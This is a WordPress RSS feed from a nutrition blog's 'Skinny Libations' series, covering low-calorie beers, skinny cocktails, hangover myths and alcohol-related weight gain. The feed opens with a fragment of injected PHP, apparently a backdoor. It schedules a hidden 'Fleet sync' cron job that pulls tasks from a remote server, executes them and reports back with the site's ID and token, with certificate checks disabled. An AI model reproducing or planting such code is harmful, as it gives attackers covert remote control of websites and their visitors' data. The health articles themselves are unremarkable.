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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Skinny Libations – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Fri, 13 Jun 2014 23:49:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Skinny Libations – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 What’s On Tap?- Best Way to Beat the “Beer Belly” https://skinnygeneprojectnew.dreamsites.io/whats-on-tap-best-way-beat-beer-belly/ https://skinnygeneprojectnew.dreamsites.io/whats-on-tap-best-way-beat-beer-belly/#respond Fri, 13 Jun 2014 23:49:56 +0000 http://skinnygeneproject.dreamhosters.com/?p=2160 Love the beer but afraid of the “beer belly”?  There is no doubt that excessive beer intake may lead to the infamous extended gut since alcohol provides 7 calories per gram. In actuality, a beer belly comes from excess calories, not necessarily from the beer. Too many calories of any kind can lead to weight gain and increased waistline. The only sustainable and sensible way to lose weight and avoid weight gain is to focus on the calorie content of all foods and beverages consumed, including beer.

4 beers by Phil Dragash

In fact, drinking beer in moderation can even be good for you and potentially be a good source of soluble fiber and prebiotic substances that promote digestion. In addition, beer can contain significant levels of vitamins, antioxidants, and minerals, such as folate, niacin, vitamins B6 and B12. Beer consumption may also help reduce risk of developing kidney stones, possibly due to its water content and diuretic effect. Compounds in hops may also slow the release of calcium from bone that is implicated in kidney stones. Health benefits of beer may be obtained if consumed within the Dietary Guidelines for Americans that recommend a limit of 1 drink per day for women and 2 drinks per day for men (one drink is equivalent to a 12oz beer).

The number of calories in a beer is based primarily on alcohol content, not on color or texture of the beer. Most “light” beers contain about 100-130 calories and are a good choice if you are watching your waistline while drinking. The difference between a “light” beer and a regular beer could be as few as 20 calories or as many as 100. Some of the popular “light” beers may be very low in calories, but have a “watered-down” taste to some. If you’re looking for a refreshing, low-calorie beer that doesn’t skimp on the flavor, use these 10 low-calorie beers as a guideline so that you can enjoy a beer or two without wrecking your diet. All are big on flavor, but relatively low in booze and calories:

  1. Stone Brewing Co. “Levitation Ale” – This deep amber ale from San Diego packs of a lot of hoppy, malty flavor alongside lighter citrus notes in a 4.4% alcohol by volume (ABV) brew. This is perfect if you want something lighter, but still has a big hop kick. (Est. Calories: 132)
  2. Brooklyn Brewery “Brooklyn Pilsner” – This beer contains German-grown hops that offer a bitter kick at about 5.1% ABV, but only 155 calories per bottle.
  3. Murphy’s Irish Stout – Rich, dark beer like stouts are not typically viewed as a “light” option, but with just 144 calories, you can knock back a couple of these without feeling guilty. Both Beamish and Guinness are also fairly low calorie, low ABV stouts. In fact, most stouts fall into the range of 4-6% ABV.
  4. Dogfish Head Festina Peche – This thirst quenching wheat beer with lightly sour flavors of green apple contains 4.5% ABV and perfect for lazy weekend afternoons. (Est. calories: 135)
  5. Victory Brewing Co. “Victory Lager” – This delicious, golden lager contains crisp flavors of malt and hops at 4.8% ABV and only 145 calories per 12oz bottle.
  6. Anchor Brewing “Small Beer” – “Small” or “table” beers have become of the newest trends in craft beer and are super low in ABV with great flavor. “Anchor Steam” is also relatively light just 153 calories per bottle.
  7. Hoegarden – A super cloudy, lightly colored wheat beer with hints of coriander and orange peel at about 147 calories a bottle. This is an easy to find, tasty change of pace from the dozens of heavier ales on tap at most bars.
  8. Founder’s Brewing “All day IPA” – This India Pale Ale is at 4.7% ABV and 147 calories, making it a guilt-free brew.
  9. Flying Dog Brewery “Underdog Atlantic Lager” – This hoppy, light, crisp, and refreshing lager pairs well with salad or lean proteins like fish and chicken because of its pine and citrus notes. 4.7% ABV and 141 calories.
  10. Krombacher Pils – The most popular beer in Germany. This grassy pilsner provides 4.8% ABV and just 130 calories per bottle. It may not be at your corner bar, but is likely to be found at your local beer store.

In addition to the beers mentioned, many pubs and breweries are offering “session” beers, which tend to be less than 5% ABV. Not only are they low calorie, but they provide a nice balance of malt to hops with a clean finish. These beers are for patrons to have a few beers in a reasonable amount of time without overwhelming the senses or leaving one intoxicated. There is also a surprising variety of taste in this range of brews.

For the athletic readers out there, keep in mind that alcohol not only affects performance (if taken more than in moderation), but it also affects recovery and rehydration times, especially for those training for a big event such as a multiple day race. Slowed hydration recovery is due to the diuretic effects of alcohol.  The rate at which the liver can replace used glycogen (stored carbohydrate used for energy) is reduced when alcohol is consumed after an intense workout, slowing recovery time.

Use the above list as a guideline to help you pick out your favorite low-calorie, but flavorful brew. Remember, the number of calories in a beer is determined by its alcohol content. The higher the alcohol content, the more calories. Beer does not have to be skipped in fear of developing the “beer belly”, as long as consumed in moderation and considered in your daily calorie consumption so that you can plan accordingly. Cheers!

 

]]> https://skinnygeneprojectnew.dreamsites.io/whats-on-tap-best-way-beat-beer-belly/feed/ 0 Skinny Cocktails – Skimp on the Calories, Not the Taste! https://skinnygeneprojectnew.dreamsites.io/skinny-cocktails-skimp-calories-not-taste/ https://skinnygeneprojectnew.dreamsites.io/skinny-cocktails-skimp-calories-not-taste/#respond Thu, 08 May 2014 03:58:19 +0000 http://skinnygeneproject.dreamhosters.com/?p=2125 By Rennie Aranda, Skinny Gene Nutritionist

Article adapted from WebMD

A day’s worth of exercising and eating right can go down the drain in just one night of happy hour. Calories consumed while drinking your favorite cocktails can add up fast. For example, an 8oz Long Island Iced Tea can rack up to 780 calories! But before you swear off Long Islands for life, try some of the healthier ways to sip your favorite drinks. Just follow these skinny cocktail do’s and don’ts.

Skinny Cocktails- Skimp on the Calories, Not the Taste!

Skinny Cocktail Do’s:

  • Choose fresh 100% juice or pureed fruit rather than cocktail mixes.
  • Rather than soft drinks, substitute with zero-calorie bubblers such as flavored seltzer, sparkling water, or club soda.
  • General rule of thumb: fewer ingredients equals fewer calories.
  • Moderation is key for your waistline and health. Pay attention to the number of cocktails you’re having in one sitting.

Skinny Cocktail Don’ts:

  • Don’t add creamed spirits or liqueurs – these mixers can double the calories in one drink.
  • Don’t have several shots in one drink. This makes it more difficult to keep up with the number of drinks and it also packs on the calories.
  • Don’t sip too much sweet dessert wine – it has about 40 more calories than table wine.

Don’t let worries about the calories in your cocktails stress you out or keep you from enjoying a drink with your family and friends. Try one of these 10 skinny cocktails that are low in calories but great in taste:

10 Skinny Cocktails

Photos from WebMd
Photos from WebMd

1)      Watermelon Mojito  (100 calories) – Gently crush cubes of watermelon with fresh mint leaves. Add rum and sparkling water for a sweet mojito with half the calories of a regular mojito.

2)      Simple Margarita (170 calories) – Skip the syrupy mixes and try these basic ingredients: one shot of tequila, lime juice to taste, and a splash of triple sec. Shake with ice and serve.

3)      Skinny Piña Colada (229 calories) – Add fresh strawberries and a splash of agave syrup to one shot of coconut rum. Blend with ice. Cutting out the sugary, coconut milk mix cuts down on the calories but not on the taste.

4)      Shochu Cosmo (70 calories) – Cut the calories in a cosmopolitan in half by replacing the vodka with shochu, a Japanese spirit with a smooth flavor since a 2-oz serving contains only about 35 calories. Add splashes of diet cranberry juice, fresh lime juice, and orange juice and mix in a martini shaker.

5)      Slim Berry Daiquiri (145 calories) – Start with 1 cup of fresh or frozen no-sugar-added berries for just 50 calories, compared with 255 calories in berries frozen with syrup. Add rum, ice, and 1 teaspoon of stevia, a sugar substitute. Blend together for a slim and delicious frozen concoction.

6)      Slim Gin & Tonic (75 calories) – Tonic water can contain nearly as many calories as soda. Try switching to diet tonic water, bubbly seltzer water, or club soda for a skinny version of this favorite cocktail. Add some flavor with a squeeze of lime juice.

7)      Better Bellini (120 calories) – Cut the calories in half by using half of the usual amount of peach nectar. Try slimming down this drink with just about 2oz of peach nectar with 4oz of champagne. Mimosa drinkers can try the same trick by using half the usual amount of orange juice to cut the calories.

8)      Asian Flavor Fusion (90 calories) – Flavor-infused alcohols can be a tasty alternative to high calorie juice mixes. Try ginger vodka and lime sparkling water for a low-calorie fusion of Asian flavors. Look for flavored seltzer or mineral waters with no added calories.

9)      Skinny Vodka Iced Tea (80 calories) – Cut the calories in the popular cocktail of lemonade, sweet iced tea, and a shot of vodka. Instead, try using low-calorie lemonade and sweet-tea-flavored vodka.

10)      Lemongrass Collins (90 calories) – Cut the syrupy mix, sugar, and other sweeteners in the usual Tom Collins and try this drink instead: vanilla vodka, splash of lime juice, and a zero-calorie sparkling water flavored with lemongrass, mint, and vanilla.

]]> https://skinnygeneprojectnew.dreamsites.io/skinny-cocktails-skimp-calories-not-taste/feed/ 0 12 Hangover Myths https://skinnygeneprojectnew.dreamsites.io/12-hangover-myths/ https://skinnygeneprojectnew.dreamsites.io/12-hangover-myths/#respond Thu, 27 Mar 2014 03:06:04 +0000 http://skinnygeneproject.dreamhosters.com/?p=2103 By Rennie Aranda, Skinny Gene Nutritionist

Article adapted from WebMD

Don’t mix your liquors, drink whiskey before beer, more alcohol cures a hangover — you’ve heard it before. But knowing a little more than the conventional wisdom when it comes to alcohol and hangovers may help you hold your liquor a little better and make the next day after a night of drinking a little less horrendous. There’s no one solution to fix all the symptoms of a hangover, but here are 12 hangover myths and facts to keep in mind to help alleviate or prevent the aftermath of last night’s escapades.

Photo credit: WebMd
Photo credit: WebMd

1.) MYTH: Hangovers are no big deal

FACT: Heavy drinking affects the central nervous system and tampers with brain chemicals, which leads to headaches, dizziness, nausea, and dehydration (from frequent bathroom breaks). These symptoms follow you to the morning after with a headache, fatigue, cotton mouth, queasy stomach, and a weakened immune system. It is best to drink responsibly. Try to limit your drinks to about one every hour since this is about how long it takes to metabolize each drink for most people. Drinking in moderation is a good way to help prevent the nasty symptoms of hangovers. Moderate drinking is defined as one drink a day on average for women and two drinks a day for men.

2.) MYTH: Hangovers are gender-blind

FACT: Beware of free drinks on Ladies’ Night. A woman is more likely to feel the effects of alcohol in comparison with a man who drinks the same amount. This is because men have a higher percentage of water in their body than women, which helps dilute the alcohol they drink. When women drink the same amount, more alcohol builds up in the bloodstream. So ladies, best bet is to add some fat into your meals beforehand to slow down the absorption of alcohol into the bloodstream. This doesn’t necessarily mean to aim for the cheeseburger and fries. Healthy fats can do the trick! So try having salmon and sautéed vegetables or a turkey sandwich with avocado as your pre-party meal.

3.) MYTH: Only bingers get hangovers

FACT: Just a couple of drinks can trigger hangover symptoms for some people. Of course, glasses the size of fish bowls, generous refills, and libations that taste like desserts can all put anyone on a path to pain the next morning (not to mention weight gain from all the extra calories), but your best bet to preventing a hangover is to drink water or a non-alcoholic beverage between cocktails to help keep you hydrated, cut down the total amount of alcohol you drink, and help decrease hangover symptoms.

4.) MYTH: Wine is the gentlest choice

FACT: Red wine contains tannins – compounds that are known to trigger headaches in some people. Malt liquors, such as whiskey, also tend to cause severe hangovers. The gentlest choices are beer and clear liquors, such as vodka and gin. Try ordering the drinks “on the rocks” (with ice) and sip slowly. As the ice melts, the drink is diluted. Drinks like Manhattans and Cosmopolitans are strained, so they stay just as potent as time goes by. Alcohol is absorbed more quickly than it is metabolized. Taking your time with a drink will increase your time between refills and decrease your odds of a hangover.

5.) MYTH: Diet cocktails are a safe bet

FACT: Diet drinks help if you’re counting calories, but won’t necessarily decrease your chances of experiencing a hangover. In fact, research suggests that mixing your booze with diet versus regular soda leads to an extra 18% increase in your blood alcohol content. Without sugar and calories in your stomach, alcohol is absorbed more quickly into your bloodstream. Having fruits, fruit juices, or other sugar-containing liquids can aid in a less intense hangover, but pick your drinks wisely if you are watching calories.

Check out our Happy Hour and Cocktail Cheat Sheets found in the “Healthiest Choices at Happy Hour” blog post for calorie comparison of your favorite bar drinks.

6.) MYTH: Liquor before beer

FACT: The amount of alcohol you drink is what matters most, not the order of your drinks. Don’t be fooled by the size of your drink – a 12-ounce glass of beer, a 5-oz glass of wine, or a 1.5-oz shot of distilled spirits are all considered as one drink and contain about the same amount of alcohol. Try to stay away from “tall” 22oz beer mugs or the fishbowl sized drinks to better monitor your alcohol consumption.

7.) MYTH: Eat pasta before bed

FACT: Eating at bedtime is no help. Food in your stomach before happy hour has more of an impact than eating after you’re already drunk. Although any food can slow down alcohol absorption into your bloodstream, fat does it best. Healthy fats are the way to go as mentioned previously. It is also best to drink water throughout the night to fight dehydration and soften the blow of the morning-after hangover.

8.) MYTH: Take pain relievers before bed

FACT: Over-the-counter painkillers peak in about four hours, so a bedtime dose won’t help by the time you wake up. It is better to take the pills when you first wake up. Beware of acetaminophen (Tylenol) after a night of drinking because the combination of the two could hurt your liver. If you are inclined to take pain relievers, stick to non-steroidal anti-inflammatory drugs (NSAIDS) such as aspirin or ibuprofen.

9.) MYTH: Alcohol helps you sleep well

FACT: Alcohol does just the opposite. Alcohol may help you doze off more quickly, but it undermines the quality of your sleep. You tend to wake up too soon and not spend as much time in important REM cycles of sleep. Disruptions in REM sleep may cause daytime drowsiness and poor concentration. If you’ve been drinking heavily, a hangover might strike in the last part of the night, leaving you too uncomfortable to get back to sleep. In fact, the more you drink before bed, the more pronounced these effects. The best tips to get good quality sleep at night include getting regular exercise (but not too close to bedtime), reserving the bed for sleep only, keeping your bedroom at a cool temperature, setting regular wake and bed times, and avoiding caffeine, alcohol, or nicotine in the evening. It may be best to limit your drinks or get your drinks on early in the evening instead of when the night is coming to a close so that it doesn’t interfere with your much needed sleep. One to two standard drinks seem to have minimal effects on sleep for most people.

10.) MYTH: “Hair of the dog” (more alcohol)

FACT: More alcohol in the morning does nothing but postpone a hangover. The worst symptoms hit when blood-alcohol levels drop to zero. Even if you have a screwdriver or mimosa in the morning at breakfast, the hangover will just come later in the day. If you feel you can’t function without a wake-up cocktail, you should talk with your doctor about getting help for alcohol addiction. Experts agree that if you use this method, the risk of abuse increases and may lead to alcohol dependency.

11.) MYTH: Coffee is the cure

FACT: A lot of coffee may lead to more hydration and could make your hangover worse. After a night of drinking, it’s best to avoid anything with caffeine. It is best to sip water and sport drinks (minimally) to counter dehydration and replace lost electrolytes, especially if you threw up. Or try adding a small amount of orange or fruit juice to water. Otherwise, the only proven cure for a hangover is time.

12.) MYTH: Herbal remedies can help

FACT: Hangover pills, such as yeast and artichoke extract have been studied by British researchers. They found no compelling evidence that supported these suggested remedies. Another British team found a supplement from prickly pear cactus that may reduce some symptoms, such as nausea and dry mouth, but not headaches. Metabolizing alcohol requires nutrients. The more you drink, the more nutrients your body has to call up from the bloodstream to replenish your liver’s tapped resources. Include whole, natural ingredients such as fresh produce, whole grains and lean protein in your daily meals and snacks. It is especially important to try to eat a well-balanced meal before alcohol consumption. Never drink on an empty stomach as this may lead to binge eating or poor food choices.

Want to learn more about Skinny Libations?  First, check out the first article in our series and learn how to avoid alcohol-related weight gain. Then, sign up for our free Skinny Libations Series so you can have your cocktail, and drink it too! 

Cheers to happy hour and healthy drinking!

Please always remember to drink responsibly!

]]> https://skinnygeneprojectnew.dreamsites.io/12-hangover-myths/feed/ 0 Healthiest Choices at Happy Hour https://skinnygeneprojectnew.dreamsites.io/healthiest-choices-happy-hour/ https://skinnygeneprojectnew.dreamsites.io/healthiest-choices-happy-hour/#respond Thu, 27 Feb 2014 01:54:06 +0000 http://skinnygeneproject.dreamhosters.com/?p=2098

By Rennie Aranda, Skinny Gene Nutritionist

Happy hour can get less happy when you realize all your healthy eating throughout the week is sabotaged by your cocktail choices at the bar and your favorite jeans are feeling more snug than usual. A night on the town doesn’t have to mean wrecking your diet. The key is to choose your cocktails carefully and consume them in moderation. The first step is to familiarize yourself with what constitutes as one serving of alcohol and the estimated calories and carbohydrates in common alcoholic beverages.

Use the following “Happy Hour Cheat Sheet” to help serve as a guide in navigating through happy hour without wrecking your diet.

(Please click on the image below to enlarge it.)  

Happy Hour Cheat Sheet

Mixed drinks can get a little tricky in determining healthy choices at the bar to choose from. Use the following “Cocktail Cheat Sheet” to get a sense of higher calorie versus lower calorie drinks among these popular cocktails.

  Happy Hour Cheat Sheet Cocktails

  Try to mix cocktails with water, club soda (not tonic), low calorie juices, or sugar-free syrups/mixers for calorie savings. Before you head out to the next cocktail party or happy hour, make sure to plan ahead. Decide in advance the number of cocktails you are planning to drink and try to cut back on some calories during the day in anticipation. Try to eat a light snack before you go out so you won’t get tipsy with the first drink or be more tempted to dive into food. As a rule of thumb, you should do 30 minutes of moderate-paced walking per 100 calories to burn off your happy hour cocktails. More importantly, always be aware of your own personal limits.

Want to learn more about Skinny Libations?  First, check out the first article in our series and learn how to avoid alcohol-related weight gain. Then, sign up for our free Skinny Libations Series so you can have your cocktail, and drink it too! 

Cheers to happy hour and healthy drinking!

Please always remember to drink responsibly!
]]> https://skinnygeneprojectnew.dreamsites.io/healthiest-choices-happy-hour/feed/ 0 Skinny Libations Series: Avoid Alcohol-related Weight Gain https://skinnygeneprojectnew.dreamsites.io/skinny-libations-series-avoid-alcohol-related-weight-gain/ https://skinnygeneprojectnew.dreamsites.io/skinny-libations-series-avoid-alcohol-related-weight-gain/#respond Tue, 11 Feb 2014 04:25:30 +0000 http://skinnygeneproject.dreamhosters.com/?p=2094 By Rennie Aranda, Skinny Gene Nutritionist

Alcohol is a part of many social occasions, from holiday parties to birthday celebrations, to family dinners and sporting events. Does being healthy mean abstaining from alcohol altogether? Is it possible to keep your figure and have your drinks too?

Numerous scientific studies have shown that people who drink in moderation can still keep their figure and enjoy alcoholic beverages. The key word is moderation. You can still go out with your friends without the guilt of extra calories from drinking. However, maintaining a healthy weight goes beyond moderate drinking. You still need to incorporate healthy eating and exercise into your overall regimen toward a healthy lifestyle. With that in mind, there are also healthy alternatives and easy guidelines to follow so you can have your cocktail and drink it too!

HOW ALCOHOL CAN CAUSE WEIGHT GAIN

champagne -paid

First off, let’s think about the main subject at hand, alcohol. The key to keeping alcohol in your diet is understanding how it is processed in your body. When you consume beverages with alcohol, your body has to convert the alcohol into other substances since your body cannot store or remove alcohol in its pure form. Once converted, substances broken down from alcohol can be eliminated from the body. The liver is the main place where alcohol is converted into these substances.

Alcohol does not directly slow down metabolism, but drinking alcohol can contribute to weight gain. The substances that alcohol is broken down to are burned off before your body can burn calories from other sources such as carbohydrates, proteins or fats. In addition, alcohol consumption impairs your body’s ability to burn fat as a source of energy, leading to possible weight gain with the extra calories not being burned off.

Calories provide energy for our bodies to function and come from carbohydrates, protein, fat, and alcohol. The difference is, unlike the other three sources, alcohol does not carry any nutritional value. For each gram of carbs, protein, etc., you get a set number of calories. For 1 gram of carbohydrate or protein, you get 4 calories. For 1 gram of fat, you get 9 calories. Alcohol contains about 7 calories per gram, which is almost as many calories as fat and almost double the caloric content of carbohydrates or protein. That means you might have to put in almost double the effort to burn those pesky calories.

Consider this… A 150 lb person would have to brisk walk about 4-5 miles to burn off about 300-400 calories (such as in a fast food double hamburger), which is the same number of miles to burn off about two regular beers.

HOW TO KEEP YOUR FIGURE AND YOUR DRINKS TOO!!

Although consuming alcohol may make it harder for you to lose weight because of the increased number of calories you consume, it won’t necessarily impair weight loss as long as you otherwise follow a low-calorie diet or as long as your caloric intake is the same. This is not to say replace your more wholesome, nutritious foods with alcohol. If you are drinking on a daily basis and your weight remains stable, you’re probably not getting enough nutrients. Limit alcohol so you can get enough real food. If you want to have an occasional drink with your friends or family, you can still practice a healthy lifestyle by incorporating a healthy diet and exercise so that those extra calories from alcoholic beverages won’t result in weight gain.

Follow some of these tips for calorie reduction, staying safe and healthy, and making the best choices when you’re out enjoying drinks with your family and friends:

–          Drink in moderation. This is defined as one drink a day on average for women and two drinks a day for men. One drink is equivalent to a 5  oz glass of wine, 12 oz beer, or 1.5 oz 80 proof liquor.

–          Drink water for thirst. Drink a full glass of water before your alcoholic beverage – Wine, beer and hard liquor do NOT quench thirst.

–          Alternate one non-alcoholic beverage (sipped slowly) with each alcoholic drink. A sparkling water with lime is a good drink to have in between, especially if you are watching calories. When you begin to feel buzzed, stop or take a break.

–          Skip binge drinking. Some dieters believe that if they save all their drinks for the weekend, they aren’t consuming the same number of calories. Regardless, calories add up. In addition, binge drinkers end up developing conditions that may impair weight loss or maintenance.

–          Drink on special occasions. Consider having a few drinks to celebrate a special occasion or when meeting friends or family for dinner instead of having one or two drinks every weekend.

–          Choose the right booze. Look for drinks that contain the lowest calories. Keep in mind that many mixed cocktails can contain more calories than the alcohol itself. A 5 oz glass of wine can contain up to 120 calories. Don’t be fooled by the small shot glasses either. They can contain 60-100 calories per shot that can soon add up. Beer contains the highest amount of calories since it may have sugar (e.g. maltose) and carbs (i.e. cereal grains), providing about 150-200 calories and possibly leading to the renowned “beer belly” if consumed in high amounts. Choose a sugar-free mixer if possible or anything with the word “skinny” or “light”. These drinks may contain less calories than their regular counterparts. Stay clear of any sugary mixer or juices, which are likely to be high in calories.

–          Stick to proper measurements. Keep track of drinks by sticking to the standard size of one drink at a time. With supersized beer mugs or fancy cocktail glasses, your “one drink” may be 2 or 3 in disguise.

–          Balance your alcohol intake with a natural, low-sugar, low sodium diet. Eat as cleanly as possible throughout the week, consisting of whole, natural ingredients such as fresh produce, whole grains and lean protein to maintain a healthy weight. It is especially important to eat a well-balanced meal before your drink alcohol. Never drink on an empty stomach as this may lead to binge eating or poor food choices.

–          Boost hydration while drinking and the following day. Flush your body of toxins by drinking more water every day, especially since alcohol can have a dehydrating effect on the body. Match every alcoholic beverage with an 8 oz glass of water. Finish the evening with a non-alcoholic drink, ideally a glass of water, to prevent hangovers.

–          Add exercise into your daily routine after a night of drinking. 30 minutes to 1 hour of exercise can help shake the “alcohol fog” as well as boost your metabolism.

HOW TO GET SKINNY LIBATIONS

Want to learn more about how to have your cocktail and drink it too?  

SIGN UP  (below) for our free  email series “Skinny Libations” and get the skinny on how you can sustain a healthy lifestyle while enjoying a few libations with friends!

When you sign up, once a month,   you’ll receive our tips and tricks for keeping it social while keeping your figure, which will include:

1.) Healthiest Choices at Happy  Hour –  Choosing the best choices at the bar!

2.) 12 Hangover Myths–  What you should know!

3.) Skinny Cocktails – Skimp on the calories, not the taste!

4.) What’s on tap– Best way to beat the “beer belly”!

5.) Wine and Dine –  Sip, nibble,  and nosh your way into  good health!

Salud!

Sign Up Now

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